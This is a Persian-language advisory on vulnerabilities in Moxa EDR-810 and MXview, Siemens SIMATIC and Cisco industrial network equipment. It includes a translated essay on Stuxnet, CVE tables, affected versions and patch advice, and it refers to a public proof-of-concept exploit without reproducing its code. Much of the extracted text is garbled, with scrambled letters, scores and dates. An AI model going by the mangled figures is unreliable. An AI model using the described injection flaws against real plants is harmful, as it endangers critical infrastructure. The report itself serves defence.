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، قرار دارند مورداستفادهکشورها  یاتیح ایهزیرساختکه در صنعت و  یکنترل صنعت یهاامانهس

 ریجدا از سا صورتبه درگذشتهها سامانه ین. اگردندیم یدتول یمحدود و انحصار هایشرکتاغلب توسط 

. گردیدیها قلمداد مسامانه ینا یدر امن ساز یامر روشا ینو ا شادندیبه کار گرفته م یگرد یهاساامانه

 هاییهلا یرها را از پرداختن به ساساامانه ینا کنندگانمصار و  یدکنندگانلتو یزه،مم یناتکا فراوان به ا

ز ا توانیرا م غیراستاندارد یهاامن و واسط یرغ یهاو پروتکل یغافل کرده بود. استفاده از معمار یتیامن

 .[2دانست ] یکردرو ینج اینتا

ا ب تدریجبه ی،صنعت یهامانهساا یلقب ینامروزه ا یو توساعه فناور یدجد هاییازمندین یلدل به

 یها و نقاط دسااترساااز پروتکل یدجد یها. در سااامانهگردندیم روزرسااانیبه یاو  یگزینجا یدترانواع جد

های حیاتی شاااهد . در غالب صاانایع و زیرساااخت[2گردد ]یها اسااتفاده ممشااترد در شاابکه یارتباط

، هاها، بریجلایه دو و لایه ساااه، ها  ایهییچساااوانواع تجهیزات ارتبااطی شااابکه ن یر  کاارگیریباه

به زات به دلیل اینکه این تجهی ها هسااتی .حتی مساایریا  و های شاابکهکارت های ارتباطیکنندهتقویت

های که ما از صنایع کشور و در بسایاری از ارزیابیشاوند ها به کار گرفته میدر شابکه فعال کاملاًشاکل 

ای  در صورت حمله یا گسترش برای این تجهیزات بوده 2HAهایکانیزممسازی ای  شاهد عدم پیادهداشته

 ود.ب خواهی  کشور یاتیح هایزیرساختو  در صنایعشاهد اختلال  قطعاًآلودگی سایبری به این تجهیزات 

 مدیران صاانعت و حراساات، تجهیزات باید در دسااتور کارفیزیکی این -توجه به امنیت سااایبر روازاین

ین لذا در ا .قرار گیرد های کنترل صنعتیو شبکهاطلاعات  یکارشناسان فناور پرساتان،و سار مساوولان

ای از نمونه نت،در رابطه با اساااتاک  1نوشاااته اخیر دیل پترساااونبعاد از بیان  ساااناد قصاااد داری 

ات تجهیزکشور )های حیاتی فراگیر در صنایع و زیرساخت ایشبکه های برخی از تجهیزاتپذیریآسایب

 قرار دهی . موردبررسیرا  ، زیمن  و سیسکو(موکسا

این سااند، به دلیل فراگیری تجهیزات ساایسااکو در کشااور و از سااویی  نج پدر انتها در بخش  

 پذیریآسیب یدارا یساکوسا یزاتاز حمله به تجه یاجمال یگزارشااهمیت حمله اخیر به این تجهیزات 

CVE-2018-0171  این حمله و نقاط  توجهقابلاین حمله به نکات  ام تا ضمن مرور مختصرقرار دادهآن

سازی صنایع کشور مدن ر های امنضاعف خود در کشاور پی ببری  و بتوانی  این نقاط ضعف را در برنامه

حملات را در صنایع کشور شاهد باشی  توانسته باشی  برای پیشگیری  گونهیناتا قبل از اینکه  قرار دهی 

 کرده باشی . یزیرامهبرناز آن و مقابله با آن 

                                              

 
1 high availability 
2 Dale Peterson 
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به  منتشر شد و 2112اردیبهشات  21اسات که در تاری  دیل پترساون متن ذیل نوشاته اخیر 

ام منتشر کرده نوشت و پردازد. متن اصلی این خبر را در می نتاستاک در مورد  ماندهباقیبزرگ  سؤال

 و جا دارد از تی  امنیتی آفسک به خاطر ترجمه این نوشته تشکر کن .

 های کنترل صنعتیسامانه پژوهشگر امنیت •

 Digital Bond شرکت یرعاملمدو  مؤسس •

 S4ی یعضو اصلی کمیته اجرا •
 

Dale Peterson 

، شااوی میترامپ در مورد برجام آماده  جمهوررئی خروج  برای شاانیدن تصاامی که  طورهمان

 نتاستاک در مورد  شدهگزارشو داستان کمتر  ماندهباقیبزرگ  سؤالشااید ارزشش را داشته باشد که 

 را بازبینی کنی :

 ؟!را کشف کند نتاستاک اهمیت نداشت که ایران  متحدهیالاتاچرا برای دولت 

 
  

 ستنددانمیکشف شود یا  نتاستاک  خواستندمی احتمالاً نتاستاک قضایه که سازندگان  این

. مقدار 1است 2را  لانگنرآقای  هایتلاشکه ممکن اسات کشاف شود و برایشان اهمیتی نداشت مدیون 

 قرار داده است، چیزی است که همه در جامعه امنیتی نتاستاک زمان و کاری که او در درد و توضیح 

ICS .باید از آن سپاسگزار باشند 

                                              

 
1 Ralph Langner 

 https://www.aparat.com/v/3RsFqهای مشترک این دو پژوهشگر برجسته را در کانال آپارات بنده مشاهده کنید: توایند فیلممی 2

http://ahmadian.blog.ir/post/Report970227
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و در هنگام حمله آن را برای  کردمیثانیه از عملیات نرمال سانتریفیوژ را ضبط  12 نتاستاک  

 ترسادهحمله سرعت روتور بسیار  تا اپراتور را فریب دهد. 2کردمیارساال  مجدداًمانیتور کننده سایسات  

 طوربهو سپ  آن را  دادمیبه آن صدمه وارد کند افزایش بود. ابتدا سرعت چرخش موتور را تا حدی که 

 .کردمیدر تمام این مدت اپراتور سرعتی ثابت را مشاهده  کهدرحالی، ساختمیناگهانی متوقف 

که  دادنمیو اهمیتی  دانساااتمی متحدهایالاتفرض کرد کاه  اشمقاالاهدر  را  کاهدرحاالی

یار بس سانتریفیوژهاهد بیشتری از این امر را ارائه داد. حتی ساال گذشته شوا کشاف شاود، نتاساتاک 

، همچنان که سرعت چرخش موتور دهدمینشان  نتاستاک که کد  طورهمانصادای بلندی داشاتند و 

 .کردمیی تغییر توجهقابل طوربهنویز  قاعدتاً شدمیعوض 

 مشاااهده کنید 1بندهکانال آپارات در  توانید آن را منتشاار کرده اساات و می را فیلمی که در 

از  که اطلاعات بسیاری تولیدشدهپنهان توساط شبکه مستند  آفتا مساتندی در کشاور با عنوان  اخیراً)

ت ح اساشاره دارد که واض نویزی و با صدای بلند صراحتبه (ای کشور را منتشر کرده است!صانایع هسته

 دقیق نیست. هاآن نمایشحهصفکه سرعت چرخش در  دانستمیای که تی  مستقر در سایت هسته

 2ز طریق ویندوز ا Siemens Step7 افزارنرمانتشار از طریق  جایبه نتاستاک  کهازآنجایی

  برگردی . برعک سؤالبیاید به  حالا .بود تشخیصقابلدر ساایر کشورها  ، علاوه بر ایرانشادمیمنتشار 

یک نفر  طراحی این حمله انجام داده بود، در ایالعادهفوقکه کار فنی  نتاساااتااک  تولیادکننادهتی  

 انستدمیبرای تغییر این حمله بوده باشد، زیرا  ایآگاهانهاین باید تصمی  را خرا  کرد،  کارهایشانتمام

 خواهد بود. مؤثرکوتاه  زمانیککه فقط برای 

داد.  فزایشانتشار پیشرفته و حمله بسیار ساده احتمال ایجاد آسیب را تا زمانی که کشف شود، ا

برای در خسارت وارده  مدتکوتاهکافی خسارت وارد نکرد و یک افزایش  اندازهبهشااید حمله به موتورها 

وجود داشاات که ما هنوز از آن  سااازیپیادهشاااید بخش دیگری از نقشااه برای  بود. کنندهراضاایآمریکا 

مخفیانه به  نتاستاک از  هاآنچرا  که امنکرده. شااید ... من هنوز جوا  معتبری دریافت اطلاعی نداری 

آخرین پرسااش بزرگ پاساا  داده نشااده در مورد  عنوانبهاین . رفتند مشاااهدهقابل نتاسااتاک ساامت 

Stuxnet است ماندهباقی! 

   

                                              

 
1 replay 

2 https://www.aparat.com/v/n4Ib6 
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 پذیریمشخصات آسیب 

 21 اختصاربه، در این بخش 1321سا در سال شبکه موک جدید تجهیزات پذیریآسایببه بهانه 

مربوط  CVE-2018-7506پذیری آساایب کنی .شاابکه موکسااا را معرفی می تجهیزات پذیرییبآساا

امکان افشااا   هایورود یحناصااح یاعتبارساانجمدیریتی( به علت  افزارنرم) Moxa MXviewمحصااول 

 کند.فراه  می دسترسی غیرمجاز را درنتیجههای رمزنگاری و اطلاعات کلید

 موکسااخیر  پذیری: مشخصات آسیب5جدول 

 CVE-2018-7506 پذیری:شناسه آسیب

 Moxa MXview  :تأثیرمحصول تحت 

 13213132  پذیریتاریخ گزارش آسیب

 هادر اثر اعتبارسنجی ناصحیح ورودی افشا  اطلاعات  پذیری:آسیب حمله و نوع

 خارج از شبکه(دور )از راه  2رودینقطه و

 زیاد  سطح مخاطره:

  CVSS: 2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 

 

که  وجود دارد ی موکساصانعت یدر روترها 1322مربوط به ساال  خانوادهه پذیری یبآسا 22

 ( منجر شود.DOS) مانعت از خدمتمحمله  یا یدستگاه قربان بر رویدستورات دلخواه  یبه اجرا تواندیم

 چندمن ورهروتر امن  یکاست که  شادهمشااهده EDR-810 های صانعتیدر روتر هاپذیرییبآسا این

 ست.ا را دارا یرهو غ NAT ،VPNآتش،  یوارهد یرن  هایییژگیاست که و یصنعت

                                              

 
1 Moxa 

2 Entry Point 
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پمپاژ،  هایهساااامان یرن  یاتیح هایییکنترل، ن اارت و محااف ت از دارا یترهاا برارو یناز ا

ها مختلف صنایع و سازماندر  یصنعت یوناتوماس یکاربرد یهادر برنامه SCADAو  PLC هایساامانه

 .شودیاستفاده م ، پالایش و پتروشیمیگاز ،نفت ازجمله

، HTTP POST یهاو ارساااال درخواسااات هاپذیرییبآسااا یناز ا یبرخ یقاز طر مهاجمان

آورند.  به دستدستگاه هد   یبر رو 2سطح ریشه یدهند و دساترس یشخود را افزا یازهایامت توانندیم

ست رمز شده ا یرمتن واضح و غ صورتبهمرتبط با انتقال کلمات عبور  هاپذیرییبآسا یناز ا یگرد یبرخ

 اطلاعات شود. یواند منجر به افشاتیکه م

 موکسا 2456و  2457های پذیری: مشخصات آسیب2جدول 

 CVE-2017-12120 پذیری:شناسه آسیب

 TALOS-2017-0472 پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیریتاریخ گزارش آسیب

 و  تجهیزات موکسا 1تزریق دستورات پینگ به کارگزار پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

   3CVSS:  1.1نمره 
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 

 

 CVE-2017-12121 پذیری:شناسه آسیب

 TALOS-2017-0473 پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 (RSA)کلیدهای تزریق دستورات  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

                                              

 
1 root 

2 Server 

3 Common Vulnerability Scoring System 
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   CVSS:  1.1نمره 
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 

 

 14437 تا  CVE-2017-14435 پذیری:شناسه آسیب

 TALOS-2017-0474  پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 strcmp در پذیریآسیب ایجاد حمله ممانعت از خدمات از طریق  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

  CVSS:  2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 

 

 CVE-2017-12123  پذیری:شناسه آسیب

 TALOS-2017-0475    پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

شده  رمز یرغارسال افشاا  اطلاعات و ایجاد حق دساترسای غیرمجاز در اثر  پذیری:نوع حمله و آسیب

 رمزهای عبور

 متوسط  سطح مخاطره:

   CVSS:  2.2نمره 
CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 

 

 CVE-2017-12124 پذیری:شناسه آسیب

 TALOS-2017-0476    پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    9صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

عدم سااانجش  پذیریآسااایباز طریق  ایجااد حملاه مماانعت از خدمات  پذیری:نوع حمله و آسیب

 هاورودی

 زیاد  سطح مخاطره:

  CVSS:   2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 

 

 CVE-2017-12125 پذیری:شناسه آسیب

 TALOS-2017-0477     پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 تزریق دستورات از طریق ماژول امضای رقمی پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

   CVSS: 1.1نمره 
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 

 

 CVE-2017-12126 پذیری:سیبشناسه آ

 TALOS-2017-0478 پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 CSRF پذیریآسیبتزریق دستورات از طریق  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

  CVSS: 1.1نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 

 

 CVE-2017-12127  پذیری:شناسه آسیب

 TALOS-2017-0479  پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    54صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 13223212  پذیری تاریخ گزارش آسیب

افشاا  اطلاعات و ایجاد حق دساترسای غیرمجاز در اثر ارسال غیررمز شده  پذیری:نوع حمله و آسیب

 رمزهای عبور

 متوسط  طره:سطح مخا

  CVSS: 1.1نمره 
CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N 

 

 CVE-2017-12128 پذیری:شناسه آسیب

 TALOS-2017-0480 پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 در عدم رمزنگاری پذیرییبآسافشا  اطلاعات از طریق  پذیری:نوع حمله و آسیب

 متوسط  سطح مخاطره:

  CVSS: 2.1نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 

 

 CVE-2017-12129  پذیری:شناسه آسیب

 TALOS-2017-0481 پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

ارسااال  رمز شااده افشااا  اطلاعات و ایجاد حق دسااترساای غیرمجاز در اثر  پذیری:یبنوع حمله و آس

 ضعیف رمزهای عبور

 متوسط  سطح مخاطره:

  CVSS:  1.2نمره 
CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N 

 

 CVE-2017-14432 to 14434 پذیری:شناسه آسیب



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    55صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 TALOS-2017-0482  پذیریآسیبنام 

 Moxa EDR-810  :تأثیرتحت محصول 

 13223212  پذیری تاریخ گزارش آسیب

 OpenVPN پذیریآسیبتزریق دستورات از طریق  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

   CVSS: 1.1نمره 

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 

 

 CVE-2017-14438 پذیری:شناسه آسیب

 TALOS-2017-0487  یپذیرآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 Service Agent پذیریآسیبایجاد حمله ممانعت از خدمات  از طریق  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

  CVSS: 2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 

 

 CVE-2017-14439 پذیری:اسه آسیبشن

 TALOS-2017-0487  پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 Service Agent پذیریآسیبایجاد حمله ممانعت از خدمات  از طریق  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

  CVSS: 2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 

 

 CVE-2017-14439 پذیری:شناسه آسیب



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    52صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 TALOS-2017-0487  پذیریآسیبنام 

 Moxa EDR-810  :تأثیرمحصول تحت 

 13223212  پذیری تاریخ گزارش آسیب

 Service Agent پذیریآسیبایجاد حمله ممانعت از خدمات  از طریق  پذیری:نوع حمله و آسیب

 زیاد  سطح مخاطره:

  CVSS: 2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 

 

 CVE-2016-8346 پذیری:شناسه آسیب

 Moxa EDR-810  :تأثیرمحصول تحت 

 13263111  پذیری تاریخ گزارش آسیب

 یپذیرآسیبز طریق ا  دساترسی به کارگزار و افزایش حق دسترسیایجاد  پذیری:نوع حمله و آسیب
Service Agent 

 زیاد  سطح مخاطره:

  CVSS: 2.2نمره 
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 

 

 پذیریگزاش فنی آسیب 

اقدام  HTTP GETهای درخواست مهاج  از طریق CVE-2018-7506پذیری آسیب در مورد

در  CVE-2017-12120پذیری اگرچه در آسیب اید.نمکلیدهای رمزنگاری می یژهوبهبه شنود اطلاعات 

 ساااده با ابزارهایی ن یر اعتبارساانجیشااود اما این ها انجام میساامت مشااتری اعتباری ساانجی ورودی

cURL و Wget کند:شوند و مهاج  دستور خود را به شکل ذیل ارسال میبه سهولت دور زده می 

 
 های بالا مشابه ذیل برسد:ده و به دسترسیهای عبوری را دور زتواند مجوزو سپ  می



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    53صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 

 تأثیرمحصولات تحت  

 :پذیرندآسیب 1321 شدهمعرفی پذیریآسیبدر برابر  هیزات موکساتج ذیل از یهانسخه

 MXview versions 2.8 and prior. 

 :پذیرندآسیب 1322 شدهمعرفی هایپذیریآسیبدر برابر  ی ذیل از تجهیزات موکسانسخه

 یدوجود دارد که با انتشاار نسخه جد Moxa EDR-810 V4.1 یهادر دساتگاه هاپذیرییبآسا ینا

ه نسبت ب تریعکه هرچه سر شودیم یهروترها توص ینا یانبه مشتر ینبنابرا؛ است شادهحل (1.1)نساخه 

 خود اقدام کنند. یهادستگاه یروزرسانبه

 
 Moxa EDR-810 V4.1 build 17030317 

 

 :پذیرندآسیب 1326 شدهمعرفی پذیریآسیبدر برابر  های ذیل از تجهیزات موکسانسخه

 EDR-810 using firmware versions prior to V3.13 

 منتشرشده 0جوییکدهای بهره 

وجود دارد که نمونه  1326و  1322ی هاپذیریآسیبجویی متعددی برای مجموعه کدهای بهره

 1اثبات مفهوم عنوانبهکه  ها استشاود از این نمونهرساال میا 2333گاه ذیل که بر روی در POSTکد 

 آورده شده است.

                                              

 
1 Exploit 

2 Proof of concept 



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    54صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 

 اثبات مفهوم یعموم ییجوهبهر نمونه کد: 5شکل 

  

 

 

 

 های امنیتیحلها و راهتوصیه 

  ؛های امنیتی ارائه کرده استوصلهرا تائید کرده است و برای آن  هاپذیریاین آسیب موکساشرکت 

ند را در اختیاردارند و بتوان تأثیرهای کنترل صنعتی که محصولات تحت لذا به کلیه مدیران شبکه

در ) در اسرع وقت وصله موردن ر را نصب نمایندشود روزرسانی را دریافت نمایند، توصیه مینسخه به

 مطالعه فرمایید(.این سند را « ضمیمه  » حتماًهای مورد نصب وصله

o سفت افزار هایروزرسانیلینک به 

https://www.moxa.com/support/download.aspx?type=support&id=15851 

 در صورت هر ابهام با بخش ارتباط با مشتریان موکسا تماس بگیرید:

https://www.moxa.com/support/request_support.aspx 

 

 شود توصیه می تأثیری فناوری اطلاعات یا کنترل صنعتی دارای محصولات تحت هابه مدیران شبکه

بر آن را محدود کنند؛ این   2ن ارتمدیریت و  و سامانه تأثیرمحصولات تحت که دسترسی به 

های غیرصنعتی از )برای شبکه های آتش کنترل صنعتیدیوارهتواند از طریق محدودسازی می

 أثیرتروزرسانی محصولات تحت انجام شود. در صورت عدم به لیست سفیدیا  های آتش عمومی(دیواره

 .را قطع نمایید( پیمانکاران یها NVPیا  ویژه اینترنتبه شبکه عمومی )به هاآندسترسی  حتماً

 شود توصیه می تأثیردارای محصولات تحت  کنترل صنعتی فناوری اطلاعات یا یهابه مدیران شبکه

 به شبکه را بدهند. تنها به کاربران مجاز امکان دسترسیهای کنترل دسترسی که به کمک راهکار

                                              

 
1 Monitoring 

https://www.moxa.com/support/download.aspx?type=support&id=15851
https://www.moxa.com/support/request_support.aspx


 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    51صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 تی به ی کنترل صنعر صورت اتصال شبکهشود که دی کنترل صنعتی توصیه میهابه مدیران شبکه

کنترل صنعتی استفاده نمایند؛ در  2سوسازدیواره آتش کنترل صنعتی یا یکاز  حتماً های دیگر شبکه

مثال  عنوانبهتوانی  در ارائه محصولات کنترل صنعتی به شما مشاوره دهی  صورت نیاز ما می

 ای .صنعتی در صنایع کشور داشته سوساز کنترلهای موفقی در نصب تجهیزات یکتجربه

 به کمک محصولاتی مانند  شود کهی کنترل صنعتی توصیه میهابه مدیران شبکهSIEM  کنترل

( به شکل مستمر کلیه تجهیزات سامانه و ترافیک IDSو سامانه تشخیص نفوذ صنعتی ) صنعتی

 عبوری را پایش نمایند.

 شود توصیه می تأثیرنترل صنعتی دارای محصولات تحت ی فناوری اطلاعات یا کهابه مدیران شبکه

 هایپلنت صنعتی و جهت اتخاذ رویکرد کاهش مخاطره، سامانه شبکه یا که در صورت محدودیت در

 ی امن قرار دهند.ایزوله یا محدوده 1را در یک زیرشبکه تأثیرتحت 

 راهکارهای اتصال از  حتماًدارید نیاز به اتصال از راه دور  شما واحد صنعتیشبکه یا که در درصورتی

و  پذیری نباشدآسیبداری  VPNاستفاده کنید؛ توجه شود که خود راهکار  VPNراه دور امن ن یر 

پذیر را آسیب VPNاز طریق شماتیک سناریو نفوذ مهاج  نمونه  1شکل آشیل نباشد؛ در پاشنه 

این تهدیدات و راهکارهای امن سازی  توانی می دوره آموزشی پیشرفتهکنید ما در قالب مشاهده می

 به شما ارائه نمایی . را هاآن

                                              

 
1 Data Diode 

2 Subnet 

http://ahmadian.blog.ir/post/ICSSecurityWorkshop
http://ahmadian.blog.ir/post/ICSSecurityWorkshop


 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    56صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 

 پذیرآسیب VPNاز طریق : نمونه شماتیک سناریو نفوذ مهاجم 2شکل 

 کنترل صنعتی و  فناوری اطلاعات و هایها و حملات به سامانهذیریپهمانند غالب آسیب

و سایر راهبردهای امنیتی  دفاع در عمقسازی های حساس )حساس، حیاتی و مه ( پیادهزیرساخت

 شود.به شما توصیه می تنوع در دفاع، موضع ایمنی در برابر خرابی، نقطه وارسی و غیرهن یر 

 

ی توانی  با شما و صنعت شما جلسهارد بالا برای شاما مبه  است، میکه هر یک از مو* درصاورتی

مشااترد گذاشااته و راهکارهای امنیتی خود را، همراه با مجموعه خدمات و محصااولات امنیتی، به 

 ضمیمه د، جهت مشاهده خدمات و راه ارتباطی مراجعه نمایید.(شما معرفی نمایی  )به

 

 پذیریهایی از این آسیبدرس 

های بسیاری وجود دارد ( تفاوتITهای فناوری اطلاعات )( با سامانهOTهای عملیاتی )مانهدر سا .أ

های آموزشااای مطرر کردی  یکی از این موارد که در این ها و دورهکاه بارها این موارد را در ارائه

پذیری تا زمان گزارش رسمی به وضور نمایان است تفاوت زمان شناسایی آسیبپذیری بهآسایب

رسانی است. در های رسمی اطلاعپذیری توسط سازنده و بعد از گزارش رسمی آن در پایگاهسیبآ

 بارهیکبه پذیریآساایب 22شاااهد این هسااتی  که  1322های موکسااا در سااال پذیریآساایب

در حداقل ممکن اساات که  Mitreو  NVDاین در حالی اساات که اطلاعات پایگاه و  شاادهثبت

 .شودنمیدر این شرکت  رسانیاطلاعن دارد که توجه مطلوبی به مقوله نشان از ای احتمالاً
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پذیری مانند بسااایاری از در تکمیال چاالش درس اول باایاد بگویی  کاه در این نموناه آسااایب . 

که بین زمان گزارش اولیه های کنترل صاانعتی شاااهد این هسااتی  های سااامانهپذیریآساایب

 .وجود دارد توجهیقابل زمان امنیتیی پذیری و ارائه وصلهآسیب
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که شب یهاو کارت کنندهکنترلچند  یبر رو پذیریآسیببر  یمبن یگزارش 1321در ماه مارس  

مذکور بر اساااس  پذیریآساایب اساات. منتشاارشااده CVE-2018-4843با شااناسااه  یمن ز نعتیصاا

 یقرا از طر حمله ممانعت از خدمات یجاداسااات که به مهاج  امکان ا ینامناساااب ورود یاعتبارسااانج

 ی مستق یدسترس ،پذیریآسیب یناز ا سو استفاده ی. برادهدمی PROFINET DCPشبکه  یهابسته

 ابییباز یبرا ،پذیریآسیب آمیزیتموفق جوییبهرهبود و در صورت  یازمحصاولات ن ینا OSIدوم  یهبه لا

 .شدندیم یاندازراه مجدداً یدست طوربه یزاتتجه یدبا  یستس

  

 پذیریمشخصات آسیب 

 CVE-2018-4843 پذیری: مشخصات آسیب1جدول 

 CVE-2018-4843  پذیری:شناسه آسیب

 شرکت زیمن  PROFINET IOو  SIMATIC, SINUMERIK    :تأثیرمحصول تحت 

 13213113    پذیری تاریخ گزارش آسیب

 هادر اثر اعتبارسنجی ناصحیح ورودی (DoSممانعت از خدمات) پذیری:نوع حمله و آسیب

 خارج از شبکه(دور )از راه  5نقطه ورودی

 متوسط  سطح مخاطره:

 CVSS:  6.2نمره 

                                              

 
1 Entry Point 
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Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 

  

 تأثیرمحصولات تحت  

 :پذیرندآسیب شدهمعرفی پذیریآسیبدر برابر  زیمن از تجهیزات ی ذیل هانسخه

 SIMATIC CP 343-1 Advanced: All versions, 

 SIMATIC CP 343-1 Standard: All versions, 

 SIMATIC CP 443-1 Advanced: All versions, 

 SIMATIC CP 443-1 Standard: All versions, 

 SIMATIC S7-1500 Software Controller incl. F: All versions prior to 

V1.7.0, 

 SIMATIC S7-1500 incl. F: All versions prior to V1.7.0, 

 SIMATIC S7-300 incl. F and T: All versions, 

 SIMATIC S7-400 H V6: All versions, 

 SIMATIC S7-400 PN/DP V6 Incl. F: All versions prior to V6.0.7, 

 SIMATIC S7-400 PN/DP V7 Incl. F: All versions, 

 SIMATIC S7-410: All versions prior to V8.1, 

 SIMATIC WinAC RTX 2010 incl. F: All versions, 

 SINUMERIK 828D: All versions, and 

 Softnet PROFINET IO for PC-based Windows systems: All versions. 

 :نیستند پذیرآسیب شدهمعرفی پذیریآسیبدر برابر  ی ذیل از تجهیزات زیمن هانسخه
 Siemens SIMATIC S7-410 8.1 

 Siemens SIMATIC S7-400 PN/DP 6.0.7 

 Siemens SIMATIC S7-1500 Software Controller 1.7 

 Siemens SIMATIC S7-1500 1.7 

 نموده است: یبنددستهرا به شکل ذیل  تأثیرلات تحت [ محصو11] یمن زاطلاعیه رسمی شرکت  
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 منتشرشده 0جوییکدهای بهره 

 مشاهده نکردی . پذیریآسیبویی برای این جکدهای بهره

 

 

 های امنیتیحلها و راهتوصیه 

  ؛های امنیتی ارائه کرده استها را تائید کرده است و برای آن وصلهپذیریاین آسیب زیمن شرکت 

ند را در اختیاردارند و بتوان تأثیرهای کنترل صنعتی که محصولات تحت به کلیه مدیران شبکه لذا

در ) در اسرع وقت وصله موردن ر را نصب نمایندشود روزرسانی را دریافت نمایند، توصیه مینسخه به

 این سند را مطالعه فرمایید(.« ضمیمه  » حتماًهای مورد نصب وصله

o های سفت افزاریروزرسانلینک به 

 SIMATIC S7-1500 Software Controller incl. F: Update to V1.8.5 or newer, which can be located here: 

https://support.industry.siemens.com/cs/ww/en/view/109478528 

 SIMATIC S7-1500 incl. F: Update to V1.8.5 or newer, which can be located here: 

https://support.industry.siemens.com/cs/ww/en/view/109478459 

 SIMATIC S7-400 PN/DP V6 Incl. F: Update to V6.0.7, which can be located here: 

https://support.industry.siemens.com/cs/ww/en/view/109474874 

